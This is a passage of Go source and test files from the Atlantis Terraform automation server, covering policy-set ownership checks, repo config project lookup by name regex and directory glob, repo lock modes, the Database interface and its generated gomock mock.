{ tmp := t.TempDir() var global valid.GlobalCfg path := filepath.Join(tmp, "config.yaml") Ok(t, os.WriteFile(path, []byte(c.gCfg), 0600)) var err error globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: false, PolicyCheckEnabled: c.gPolicyCheck, } global, err = (&config.ParserValidator{}).ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs)) Ok(t, err) global.PolicySets = emptyPolicySets Equals(t, c.exp, global.MergeProjectCfg(logging.NewNoopLogger(t), c.repoID, c.proj, valid.RepoCfg{Workflows: c.repoWorkflows})) }) } } // String is a helper routine that allocates a new string value // to store v and returns a pointer to it. func String(v string) *string { return &v } // Bool is a helper routine that allocates a new bool value // to store v and returns a pointer to it. func Bool(v bool) *bool { return &v } ================================================ FILE: server/core/config/valid/policies.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package valid import ( "slices" "strings" version "github.com/hashicorp/go-version" ) const ( LocalPolicySet string = "local" GithubPolicySet string = "github" ) // PolicySets defines version of policy checker binary(conftest) and a list of // PolicySet objects. PolicySets struct is used by PolicyCheck workflow to build // context to enforce policies. type PolicySets struct { Version *version.Version Owners PolicyOwners ApproveCount int PolicySets []PolicySet } type PolicyOwners struct { Users []string Teams []string } type PolicySet struct { Source string Path string Name string ApproveCount int Owners PolicyOwners PreventSelfApprove bool } func (p *PolicySets) HasPolicies() bool { return len(p.PolicySets) > 0 } // Check if any level of policy owners includes teams func (p *PolicySets) HasTeamOwners() bool { hasTeamOwners := len(p.Owners.Teams) > 0 for _, policySet := range p.PolicySets { if len(policySet.Owners.Teams) > 0 { hasTeamOwners = true } } return hasTeamOwners } func (o *PolicyOwners) IsOwner(username string, userTeams []string) bool { for _, uname := range o.Users { if strings.EqualFold(uname, username) { return true } } for _, orgTeamName := range o.Teams { for _, userTeamName := range userTeams { if strings.EqualFold(orgTeamName, userTeamName) { return true } } } return false } // Return all owner teams from all policy sets func (p *PolicySets) AllTeams() []string { teams := p.Owners.Teams for _, policySet := range p.PolicySets { for _, team := range policySet.Owners.Teams { if !slices.Contains(teams, team) { teams = append(teams, team) } } } return teams } ================================================ FILE: server/core/config/valid/policies_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package valid_test import ( "testing" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" ) func TestPoliciesConfig_HasTeamOwners(t *testing.T) { cases := []struct { description string input valid.PolicySets expResult bool }{ { description: "no team owners", input: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Name: "policy1", }, }, }, expResult: false, }, { description: "has top-level team owner", input: valid.PolicySets{ Owners: valid.PolicyOwners{ Teams: []string{ "someteam", }, }, PolicySets: []valid.PolicySet{ { Name: "policy1", }, }, }, expResult: true, }, { description: "has policy-level team owner", input: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Name: "policy1", Owners: valid.PolicyOwners{ Teams: []string{ "someteam", }, }, }, }, }, expResult: true, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { result := c.input.HasTeamOwners() Equals(t, c.expResult, result) }) } } func TestPoliciesConfig_IsOwners(t *testing.T) { user := "testuser" userTeams := []string{"testuserteam"} cases := []struct { description string input valid.PolicyOwners expResult bool }{ { description: "user is not owner", input: valid.PolicyOwners{ Users: []string{ "someotheruser", }, Teams: []string{ "someotherteam", }, }, expResult: false, }, { description: "user is owner", input: valid.PolicyOwners{ Users: []string{ "testuser", "someotheruser", }, Teams: []string{ "someotherteam", }, }, expResult: true, }, { description: "user is owner via team membership", input: valid.PolicyOwners{ Users: []string{ "someotheruser", }, Teams: []string{ "someotherteam", "testuserteam", }, }, expResult: true, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { result := c.input.IsOwner(user, userTeams) Equals(t, c.expResult, result) }) } } func TestPoliciesConfig_AllTeams(t *testing.T) { cases := []struct { description string input valid.PolicySets expResult []string }{ { description: "has only top-level team owner", input: valid.PolicySets{ Owners: valid.PolicyOwners{ Teams: []string{ "team1", }, }, }, expResult: []string{"team1"}, }, { description: "has only policy-level team owner", input: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Name: "policy1", Owners: valid.PolicyOwners{ Teams: []string{ "team2", }, }, }, }, }, expResult: []string{"team2"}, }, { description: "has both top-level and policy-level team owners", input: valid.PolicySets{ Owners: valid.PolicyOwners{ Teams: []string{ "team1", }, }, PolicySets: []valid.PolicySet{ { Name: "policy1", Owners: valid.PolicyOwners{ Teams: []string{ "team2", }, }, }, }, }, expResult: []string{"team1", "team2"}, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { result := c.input.AllTeams() Equals(t, c.expResult, result) }) } } ================================================ FILE: server/core/config/valid/repo_cfg.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 // Package valid contains the structs representing the atlantis.yaml config // after it's been parsed and validated. package valid import ( "fmt" "log" "regexp" "strings" "github.com/bmatcuk/doublestar/v4" version "github.com/hashicorp/go-version" ) // RepoCfg is the atlantis.yaml config after it's been parsed and validated. type RepoCfg struct { // Version is the version of the atlantis YAML file. Version int Projects []Project Workflows map[string]Workflow PolicySets PolicySets Automerge *bool AutoDiscover *AutoDiscover ParallelApply *bool ParallelPlan *bool ParallelPolicyCheck *bool DeleteSourceBranchOnMerge *bool RepoLocks *RepoLocks CustomPolicyCheck *bool EmojiReaction string AllowedRegexpPrefixes []string AbortOnExecutionOrderFail bool SilencePRComments []string } func (r RepoCfg) FindProjectsByDirWorkspace(repoRelDir string, workspace string) []Project { var ps []Project for _, p := range r.Projects { if p.Dir == repoRelDir && p.Workspace == workspace { ps = append(ps, p) } } return ps } // FindProjectsByDir returns all projects that are in dir. func (r RepoCfg) FindProjectsByDir(dir string) []Project { var ps []Project for _, p := range r.Projects { if p.Dir == dir { ps = append(ps, p) } } return ps } // FindProjectsByDirPattern returns all projects whose dir matches the glob pattern. // Supports patterns like "modules/*", "environments/**", etc. func (r RepoCfg) FindProjectsByDirPattern(pattern string) []Project { var ps []Project for _, p := range r.Projects { if matched, _ := doublestar.Match(pattern, p.Dir); matched { ps = append(ps, p) } } return ps } // FindProjectsByDirPatternWorkspace returns all projects whose dir matches the // glob pattern and workspace matches exactly. func (r RepoCfg) FindProjectsByDirPatternWorkspace(pattern string, workspace string) []Project { var ps []Project for _, p := range r.Projects { if matched, _ := doublestar.Match(pattern, p.Dir); matched && p.Workspace == workspace { ps = append(ps, p) } } return ps } // ContainsDirGlobPattern returns true if the string contains glob pattern characters. func ContainsDirGlobPattern(s string) bool { return strings.ContainsAny(s, "*?[") } func (r RepoCfg) FindProjectByName(name string) *Project { for _, p := range r.Projects { if p.Name != nil && *p.Name == name { return &p } } return nil } // FindProjectsByName returns all projects that match with name. func (r RepoCfg) FindProjectsByName(name string) []Project { var ps []Project sanitizedName := "^" + name + "$" for _, p := range r.Projects { if p.Name != nil { if match, _ := regexp.MatchString(sanitizedName, *p.Name); match { ps = append(ps, p) } } } // If we found more than one project then we need to make sure that the regex is allowed. if len(ps) > 1 && !isRegexAllowed(name, r.AllowedRegexpPrefixes) { log.Printf("Found more than one project for regex %q. This regex is not on the allow list.", name) return nil } return ps } func isRegexAllowed(name string, allowedRegexpPrefixes []string) bool { if len(allowedRegexpPrefixes) == 0 { return true } for _, allowedRegexPrefix := range allowedRegexpPrefixes { if strings.HasPrefix(name, allowedRegexPrefix) { return true } } return false } // This function returns a final true/false decision for whether AutoDiscover is enabled // for a repo. It takes into account the defaultAutoDiscoverMode when there is no explicit // repo config. The defaultAutoDiscoverMode param should be understood as the default // AutoDiscover mode as may be set via CLI params or server side repo config. func (r RepoCfg) AutoDiscoverEnabled(defaultAutoDiscoverMode AutoDiscoverMode) bool { autoDiscoverMode := defaultAutoDiscoverMode if r.AutoDiscover != nil { autoDiscoverMode = r.AutoDiscover.Mode } if autoDiscoverMode == AutoDiscoverAutoMode { // AutoDiscover is enabled by default when no projects are defined return len(r.Projects) == 0 } return autoDiscoverMode == AutoDiscoverEnabledMode } // validateWorkspaceAllowed returns an error if repoCfg defines projects in // repoRelDir but none of them use workspace. We want this to be an error // because if users have gone to the trouble of defining projects in repoRelDir // then it's likely that if we're running a command for a workspace that isn't // defined then they probably just typed the workspace name wrong. func (r RepoCfg) ValidateWorkspaceAllowed(repoRelDir string, workspace string) error { projects := r.FindProjectsByDir(repoRelDir) // If that directory doesn't have any projects configured then we don't // enforce workspace names. if len(projects) == 0 { return nil } var configuredSpaces []string for _, p := range projects { if p.Workspace == workspace { return nil } configuredSpaces = append(configuredSpaces, p.Workspace) } return fmt.Errorf( "running commands in workspace %q is not allowed because this"+ " directory is only configured for the following workspaces: %s", workspace, strings.Join(configuredSpaces, ", "), ) } type Project struct { Dir string BranchRegex *regexp.Regexp Workspace string Name *string WorkflowName *string TerraformDistribution *string TerraformVersion *version.Version Autoplan Autoplan PlanRequirements []string ApplyRequirements []string ImportRequirements []string DependsOn []string DeleteSourceBranchOnMerge *bool RepoLocking *bool RepoLocks *RepoLocks ExecutionOrderGroup int PolicyCheck *bool CustomPolicyCheck *bool SilencePRComments []string } // GetName returns the name of the project or an empty string if there is no // project name. func (p Project) GetName() string { if p.Name != nil { return *p.Name } return "" } type Autoplan struct { WhenModified []string Enabled bool } // PostProcessRunOutputOption is an enum of options for post-processing RunCommand output type PostProcessRunOutputOption string const ( PostProcessRunOutputShow = "show" PostProcessRunOutputHide = "hide" PostProcessRunOutputStripRefreshing = "strip_refreshing" PostProcessRunOutputFilterRegexKey = "filter_regex" ) type Stage struct { Steps []Step } // CommandShell sets up the shell for command execution type CommandShell struct { Shell string ShellArgs []string } func (s CommandShell) String() string { return fmt.Sprintf("%s %s", s.Shell, strings.Join(s.ShellArgs, " ")) } type Step struct { StepName string ExtraArgs []string // RunCommand is either a custom run step or the command to run // during an env step to populate the environment variable dynamically. RunCommand string // Output includes the options for post-processing a RunCommand output // these will be executed in the received order Output []PostProcessRunOutputOption // EnvVarName is the name of the // environment variable that should be set by this step. EnvVarName string // EnvVarValue is the value to set EnvVarName to. EnvVarValue string // The Shell to use for RunCommand execution. RunShell *CommandShell // FilterRegex is a list of regexes for post-processing a RunCommand output // these will be executed in the received order FilterRegexes []*regexp.Regexp } type Workflow struct { Name string Apply Stage Plan Stage PolicyCheck Stage Import Stage StateRm Stage } ================================================ FILE: server/core/config/valid/repo_cfg_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package valid_test import ( "testing" validation "github.com/go-ozzo/ozzo-validation" version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" ) func TestConfig_FindProjectsByDir(t *testing.T) { tfVersion, _ := version.NewVersion("v0.11.0") cases := []struct { description string nameRegex string input valid.RepoCfg expProjects []valid.Project }{ { description: "Find projects with 'dev' prefix as allowed prefix", nameRegex: "dev.*", input: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Name: String("dev_terragrunt_myproject"), Workspace: "myworkspace", TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"approved"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": { Name: "myworkflow", Apply: valid.DefaultApplyStage, Plan: valid.DefaultPlanStage, PolicyCheck: valid.DefaultPolicyCheckStage, }, }, AllowedRegexpPrefixes: []string{"dev", "staging"}, }, expProjects: []valid.Project{ { Dir: ".", Name: String("dev_terragrunt_myproject"), Workspace: "myworkspace", TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"approved"}, }, }, }, { description: "Only find projects with allowed prefix", nameRegex: ".*", input: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Name: String("dev_terragrunt_myproject"), Workspace: "myworkspace", TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"approved"}, }, { Dir: ".", Name: String("staging_terragrunt_myproject"), Workspace: "myworkspace", TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"approved"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": { Name: "myworkflow", Apply: valid.DefaultApplyStage, Plan: valid.DefaultPlanStage, PolicyCheck: valid.DefaultPolicyCheckStage, }, }, AllowedRegexpPrefixes: []string{"dev", "staging"}, }, expProjects: nil, }, { description: "Find all projects without restrictions of allowed prefix", nameRegex: ".*", input: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Name: String("dev_terragrunt_myproject"), Workspace: "myworkspace", TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"approved"}, }, { Dir: ".", Name: String("staging_terragrunt_myproject"), Workspace: "myworkspace", TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"approved"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": { Name: "myworkflow", Apply: valid.DefaultApplyStage, Plan: valid.DefaultPlanStage, PolicyCheck: valid.DefaultPolicyCheckStage, }, }, AllowedRegexpPrefixes: nil, }, expProjects: []valid.Project{ { Dir: ".", Name: String("dev_terragrunt_myproject"), Workspace: "myworkspace", TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"approved"}, }, { Dir: ".", Name: String("staging_terragrunt_myproject"), Workspace: "myworkspace", TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"approved"}, }, }, }, { description: "Always find exact matches even if the prefix is not allowed", nameRegex: ".*", input: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Name: String("prod_terragrunt_myproject"), Workspace: "myworkspace", TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"approved"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": { Name: "myworkflow", Apply: valid.DefaultApplyStage, Plan: valid.DefaultPlanStage, PolicyCheck: valid.DefaultPolicyCheckStage, }, }, AllowedRegexpPrefixes: []string{"dev", "staging"}, }, expProjects: []valid.Project{ { Dir: ".", Name: String("prod_terragrunt_myproject"), Workspace: "myworkspace", TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"approved"}, }, }, }, } validation.ErrorTag = "yaml" for _, c := range cases { t.Run(c.description, func(t *testing.T) { projects := c.input.FindProjectsByName(c.nameRegex) Equals(t, c.expProjects, projects) }) } } func TestConfig_AutoDiscoverEnabled(t *testing.T) { cases := []struct { description string repoAutoDiscover valid.AutoDiscoverMode defaultAutoDiscover valid.AutoDiscoverMode projects []valid.Project expEnabled bool }{ { description: "repo disabled autodiscover default enabled", repoAutoDiscover: valid.AutoDiscoverDisabledMode, defaultAutoDiscover: valid.AutoDiscoverEnabledMode, expEnabled: false, }, { description: "repo disabled autodiscover default disabled", repoAutoDiscover: valid.AutoDiscoverDisabledMode, defaultAutoDiscover: valid.AutoDiscoverDisabledMode, expEnabled: false, }, { description: "repo enabled autodiscover default enabled", repoAutoDiscover: valid.AutoDiscoverEnabledMode, defaultAutoDiscover: valid.AutoDiscoverEnabledMode, expEnabled: true, }, { description: "repo enabled autodiscover default disabled", repoAutoDiscover: valid.AutoDiscoverEnabledMode, defaultAutoDiscover: valid.AutoDiscoverDisabledMode, expEnabled: true, }, { description: "repo set auto autodiscover with no projects default enabled", repoAutoDiscover: valid.AutoDiscoverAutoMode, defaultAutoDiscover: valid.AutoDiscoverEnabledMode, expEnabled: true, }, { description: "repo set auto autodiscover with no projects default disabled", repoAutoDiscover: valid.AutoDiscoverAutoMode, defaultAutoDiscover: valid.AutoDiscoverDisabledMode, expEnabled: true, }, { description: "repo set auto autodiscover with a project default enabled", repoAutoDiscover: valid.AutoDiscoverAutoMode, defaultAutoDiscover: valid.AutoDiscoverEnabledMode, projects: []valid.Project{{}}, expEnabled: false, }, { description: "repo set auto autodiscover with a project default disabled", repoAutoDiscover: valid.AutoDiscoverAutoMode, defaultAutoDiscover: valid.AutoDiscoverDisabledMode, projects: []valid.Project{{}}, expEnabled: false, }, { description: "repo unset autodiscover with no projects default enabled", defaultAutoDiscover: valid.AutoDiscoverEnabledMode, expEnabled: true, }, { description: "repo unset autodiscover with no projects default disabled", defaultAutoDiscover: valid.AutoDiscoverDisabledMode, expEnabled: false, }, { description: "repo unset autodiscover with no projects default auto", defaultAutoDiscover: valid.AutoDiscoverAutoMode, expEnabled: true, }, { description: "repo unset autodiscover with a project default enabled", projects: []valid.Project{{}}, defaultAutoDiscover: valid.AutoDiscoverEnabledMode, expEnabled: true, }, { description: "repo unset autodiscover with a project default disabled", projects: []valid.Project{{}}, defaultAutoDiscover: valid.AutoDiscoverDisabledMode, expEnabled: false, }, { description: "repo unset autodiscover with a project default auto", projects: []valid.Project{{}}, defaultAutoDiscover: valid.AutoDiscoverAutoMode, expEnabled: false, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { r := valid.RepoCfg{ Projects: c.projects, AutoDiscover: nil, } if c.repoAutoDiscover != "" { r.AutoDiscover = &valid.AutoDiscover{ Mode: c.repoAutoDiscover, } } enabled := r.AutoDiscoverEnabled(c.defaultAutoDiscover) Equals(t, c.expEnabled, enabled) }) } } func TestConfig_FindProjectsByDirPattern(t *testing.T) { cases := []struct { description string pattern string projects []valid.Project expProjects []valid.Project }{ { description: "simple wildcard matches multiple projects", pattern: "modules/*", projects: []valid.Project{ {Dir: "modules/vpc", Workspace: "default"}, {Dir: "modules/rds", Workspace: "default"}, {Dir: "apps/api", Workspace: "default"}, }, expProjects: []valid.Project{ {Dir: "modules/vpc", Workspace: "default"}, {Dir: "modules/rds", Workspace: "default"}, }, }, { description: "double star matches nested directories", pattern: "environments/**", projects: []valid.Project{ {Dir: "environments/prod/app", Workspace: "default"}, {Dir: "environments/staging/app", Workspace: "default"}, {Dir: "environments/dev", Workspace: "default"}, {Dir: "modules/vpc", Workspace: "default"}, }, expProjects: []valid.Project{ {Dir: "environments/prod/app", Workspace: "default"}, {Dir: "environments/staging/app", Workspace: "default"}, {Dir: "environments/dev", Workspace: "default"}, }, }, { description: "question mark matches single character", pattern: "env?/*", projects: []valid.Project{ {Dir: "env1/app", Workspace: "default"}, {Dir: "env2/app", Workspace: "default"}, {Dir: "envX/app", Workspace: "default"}, {Dir: "environment/app", Workspace: "default"}, }, expProjects: []valid.Project{ {Dir: "env1/app", Workspace: "default"}, {Dir: "env2/app", Workspace: "default"}, {Dir: "envX/app", Workspace: "default"}, }, }, { description: "character class matches specific characters", pattern: "env[0-9]/*", projects: []valid.Project{ {Dir: "env1/app", Workspace: "default"}, {Dir: "env2/app", Workspace: "default"}, {Dir: "envX/app", Workspace: "default"}, }, expProjects: []valid.Project{ {Dir: "env1/app", Workspace: "default"}, {Dir: "env2/app", Workspace: "default"}, }, }, { description: "no matches returns empty slice", pattern: "nonexistent/*", projects: []valid.Project{ {Dir: "modules/vpc", Workspace: "default"}, }, expProjects: nil, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { r := valid.RepoCfg{ Projects: c.projects, } projects := r.FindProjectsByDirPattern(c.pattern) Equals(t, c.expProjects, projects) }) } } func TestConfig_FindProjectsByDirPatternWorkspace(t *testing.T) { cases := []struct { description string pattern string workspace string projects []valid.Project expProjects []valid.Project }{ { description: "matches pattern and workspace", pattern: "modules/*", workspace: "default", projects: []valid.Project{ {Dir: "modules/vpc", Workspace: "default"}, {Dir: "modules/vpc", Workspace: "staging"}, {Dir: "modules/rds", Workspace: "default"}, }, expProjects: []valid.Project{ {Dir: "modules/vpc", Workspace: "default"}, {Dir: "modules/rds", Workspace: "default"}, }, }, { description: "workspace filter excludes non-matching", pattern: "modules/*", workspace: "production", projects: []valid.Project{ {Dir: "modules/vpc", Workspace: "default"}, {Dir: "modules/vpc", Workspace: "staging"}, }, expProjects: nil, }, { description: "double star with workspace filter", pattern: "environments/**", workspace: "staging", projects: []valid.Project{ {Dir: "environments/us-east/app", Workspace: "staging"}, {Dir: "environments/us-west/app", Workspace: "production"}, {Dir: "environments/eu/app", Workspace: "staging"}, }, expProjects: []valid.Project{ {Dir: "environments/us-east/app", Workspace: "staging"}, {Dir: "environments/eu/app", Workspace: "staging"}, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { r := valid.RepoCfg{ Projects: c.projects, } projects := r.FindProjectsByDirPatternWorkspace(c.pattern, c.workspace) Equals(t, c.expProjects, projects) }) } } func TestContainsDirGlobPattern(t *testing.T) { cases := []struct { input string expected bool }{ {"modules/*", true}, {"modules/**", true}, {"env?/app", true}, {"env[0-9]/app", true}, {"modules/vpc", false}, {".", false}, {"path/to/dir", false}, } for _, c := range cases { t.Run(c.input, func(t *testing.T) { result := valid.ContainsDirGlobPattern(c.input) Equals(t, c.expected, result) }) } } ================================================ FILE: server/core/config/valid/repo_locks.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package valid // RepoLocksMode enum type RepoLocksMode string var DefaultRepoLocksMode = RepoLocksOnPlanMode var DefaultRepoLocks = RepoLocks{ Mode: DefaultRepoLocksMode, } const ( RepoLocksDisabledMode RepoLocksMode = "disabled" RepoLocksOnPlanMode RepoLocksMode = "on_plan" RepoLocksOnApplyMode RepoLocksMode = "on_apply" ) type RepoLocks struct { Mode RepoLocksMode } ================================================ FILE: server/core/config/valid/team_authz.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package valid type TeamAuthz struct { Command string `yaml:"command" json:"command"` Args []string `yaml:"args" json:"args"` } ================================================ FILE: server/core/config/valid/valid.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 // Package valid contains definitions of valid yaml configuration after its // been parsed and validated. package valid const DefaultAutoPlanEnabled = true ================================================ FILE: server/core/db/db.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. // // Package db defines the database interface for Atlantis. package db import ( "time" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" ) //go:generate mockgen -package mocks -destination mocks/mock_database.go . Database // Database is an implementation of the database API we require. type Database interface { TryLock(lock models.ProjectLock) (bool, models.ProjectLock, error) Unlock(project models.Project, workspace string) (*models.ProjectLock, error) List() ([]models.ProjectLock, error) GetLock(project models.Project, workspace string) (*models.ProjectLock, error) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) UpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) error GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) DeletePullStatus(pull models.PullRequest) error UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error) LockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error) UnlockCommand(cmdName command.Name) error CheckCommandLock(cmdName command.Name) (*command.Lock, error) Close() error } ================================================ FILE: server/core/db/mocks/mock_database.go ================================================ // Code generated by MockGen. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/db (interfaces: Database) // // Generated by this command: // // mockgen -package mocks -destination mocks/mock_database.go . Database // // Package mocks is a generated GoMock package. package mocks import ( reflect "reflect" time "time" command "github.com/runatlantis/atlantis/server/events/command" models "github.com/runatlantis/atlantis/server/events/models" gomock "go.uber.org/mock/gomock" ) // MockDatabase is a mock of Database interface. type MockDatabase struct { ctrl *gomock.Controller recorder *MockDatabaseMockRecorder isgomock struct{} } // MockDatabaseMockRecorder is the mock recorder for MockDatabase. type MockDatabaseMockRecorder struct { mock *MockDatabase } // NewMockDatabase creates a new mock instance. func NewMockDatabase(ctrl *gomock.Controller) *MockDatabase { mock := &MockDatabase{ctrl: ctrl} mock.recorder = &MockDatabaseMockRecorder{mock} return mock } // EXPECT returns an object that allows the caller to indicate expected use. func (m *MockDatabase) EXPECT() *MockDatabaseMockRecorder { return m.recorder } // CheckCommandLock mocks base method. func (m *MockDatabase) CheckCommandLock(cmdName command.Name) (*command.Lock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "CheckCommandLock", cmdName) ret0, _ := ret[0].(*command.Lock) ret1, _ := ret[1].(error) return ret0, ret1 } // CheckCommandLock indicates an expected call of CheckCommandLock. func (mr *MockDatabaseMockRecorder) CheckCommandLock(cmdName any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "CheckCommandLock", reflect.TypeOf((*MockDatabase)(nil).CheckCommandLock), cmdName) } // Close mocks base method. func (m *MockDatabase) Close() error { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "Close") ret0, _ := ret[0].(error) return ret0 } // Close indicates an expected call of Close. func (mr *MockDatabaseMockRecorder) Close() *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Close", reflect.TypeOf((*MockDatabase)(nil).Close)) } // DeletePullStatus mocks base method. func (m *MockDatabase) DeletePullStatus(pull models.PullRequest) error { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "DeletePullStatus", pull) ret0, _ := ret[0].(error) return ret0 } // DeletePullStatus indicates an expected call of DeletePullStatus. func (mr *MockDatabaseMockRecorder) DeletePullStatus(pull any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "DeletePullStatus", reflect.TypeOf((*MockDatabase)(nil).DeletePullStatus), pull) } // GetLock mocks base method. func (m *MockDatabase) GetLock(project models.Project, workspace string) (*models.ProjectLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "GetLock", project, workspace) ret0, _ := ret[0].(*models.ProjectLock) ret1, _ := ret[1].(error) return ret0, ret1 } // GetLock indicates an expected call of GetLock. func (mr *MockDatabaseMockRecorder) GetLock(project, workspace any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetLock", reflect.TypeOf((*MockDatabase)(nil).GetLock), project, workspace) } // GetPullStatus mocks base method. func (m *MockDatabase) GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "GetPullStatus", pull) ret0, _ := ret[0].(*models.PullStatus) ret1, _ := ret[1].(error) return ret0, ret1 } // GetPullStatus indicates an expected call of GetPullStatus. func (mr *MockDatabaseMockRecorder) GetPullStatus(pull any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetPullStatus", reflect.TypeOf((*MockDatabase)(nil).GetPullStatus), pull) } // List mocks base method. func (m *MockDatabase) List() ([]models.ProjectLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "List") ret0, _ := ret[0].([]models.ProjectLock) ret1, _ := ret[1].(error) return ret0, ret1 } // List indicates an expected call of List. func (mr *MockDatabaseMockRecorder) List() *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "List", reflect.TypeOf((*MockDatabase)(nil).List)) } // LockCommand mocks base method. func (m *MockDatabase) LockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "LockCommand", cmdName, lockTime) ret0, _ := ret[0].(*command.Lock) ret1, _ := ret[1].(error) return ret0, ret1 } // LockCommand indicates an expected call of LockCommand. func (mr *MockDatabaseMockRecorder) LockCommand(cmdName, lockTime any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "LockCommand", reflect.TypeOf((*MockDatabase)(nil).LockCommand), cmdName, lockTime) } // TryLock mocks base method. func (m *MockDatabase) TryLock(lock models.ProjectLock) (bool, models.ProjectLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "TryLock", lock) ret0, _ := ret[0].(bool) ret1, _ := ret[1].(models.ProjectLock) ret2, _ := ret[2].(error) return ret0, ret1, ret2 } // TryLock indicates an expected call of TryLock. func (mr *MockDatabaseMockRecorder) TryLock(lock any) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "TryLock", reflect.TypeOf((*MockDatabase)(nil).TryLock), lock) } // Unlock mocks base method. func (m *MockDatabase) Unlock(project models.Project, workspace string) (*models.ProjectLock, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "Unlock", project, workspace) ret0, _ := ret[0].(*models.ProjectLock) ret1, _ := ret[1].(error) return ret0, ret1 } // Unlock indicates an expected call of Unlock. func (mr *MockDatabaseMockRecorder) Unlock(project, workspace any) 